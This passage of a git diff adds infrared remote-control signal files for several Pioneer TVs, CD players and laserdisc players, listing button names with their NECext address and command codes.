parsed +protocol: NECext +address: AA 00 00 00 +command: D7 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: DE 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir new file mode 100644 index 000000000..16aa073e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir new file mode 100644 index 000000000..3357c047b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0B 00 00 00 +# +name: CH_PLUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 10 00 00 00 +# +name: CH_MINUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 24 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 25 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 26 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 27 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 28 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 38 00 00 00 +# +name: INPUT_ANT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 45 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 49 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 4A 00 00 00 +# +name: INPUT1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: INPUT2 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: INPUT3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: INPUT4 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: HDMI5 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: HDMI6 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_PC +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: CH_ENTER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: CH_RETURN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: HOME_MENU +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: DAY_PLUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: DAY_MINUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: PAGE_PLUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: PAGE_MINUS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: BLUE_A +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: RED_B +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: GREEN_C +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: YELLOW_D +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5B 00 00 00 +# +name: SCREEN_SIZE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5E 00 00 00 +# +name: AV_SELECTION +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir new file mode 100644 index 000000000..e42b0c06c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 0B 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 17 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 1C 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 44 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 72 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 73 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 74 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 90 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 91 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 92 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 93 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 94 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: A6 00 00 00 +command: 9D 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: A6 00 00 00 +command: A0 00 00 00 +# +name: am +type: parsed +protocol: NECext +address: A6 00 00 00 +command: A0 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A6 00 00 00 +command: A0 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A6 00 00 00 +command: A0 00 00 00 +# +name: md +type: parsed +protocol: NECext +address: A6 00 00 00 +command: A2 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: A6 00 00 00 +command: CE 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: A6 00 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir new file mode 100644 index 000000000..bb2122a3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: Level+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: Level- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: Manual_Forward +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: Manual_Back +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: Track_Forward +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: Track_Back +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: RandomPlay +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 51 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 +# +name: Hi-LiteScan +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 89 00 00 00 +# +name: KEY_0_Prefix +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir new file mode 100644 index 000000000..cde1d2061 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: dacx +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: scan- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: ctrl +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 37 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: repeatb +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: scan+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: repeata +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: step- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: step+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: speed- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: speed+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir new file mode 100644 index 000000000..4264bdb4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: chp/tm +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: repeata-b +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: step- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: seek+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: seek- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: step+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: multi-speed- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: multi-speed+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir new file mode 100644 index 000000000..e708c4e69 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0C 00 00 00 +# +name: PROGRAMMEMORY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: PREVTRACK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 43 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: AUTOPGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4B 00 00 00 +# +name: MUSICWINDOW +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4D 00 00 00 +# +name: FADEIN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4E 00 00 00 +# +name: FADEOUT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 54 00 00 00 +# +name: PREVINDEX +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 55 00 00 00 +# +name: TIMEFADE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir new file mode 100644 index 000000000..c4d465b0b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: N10 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: N1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: N2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: N3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: N4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: N5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: N6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: N7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: N8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: N9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4B 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 +# +name: HI-LITE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir new file mode 100644 index 000000000..0f47f2d33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: Output_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: Output_- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: Manual_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: Manual_- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: Track_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: Track_- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: Random_Play +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: LargerThan10 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 +# +name: Hi_Lite_Scan +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir new file mode 100644 index 000000000..140e79f5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed 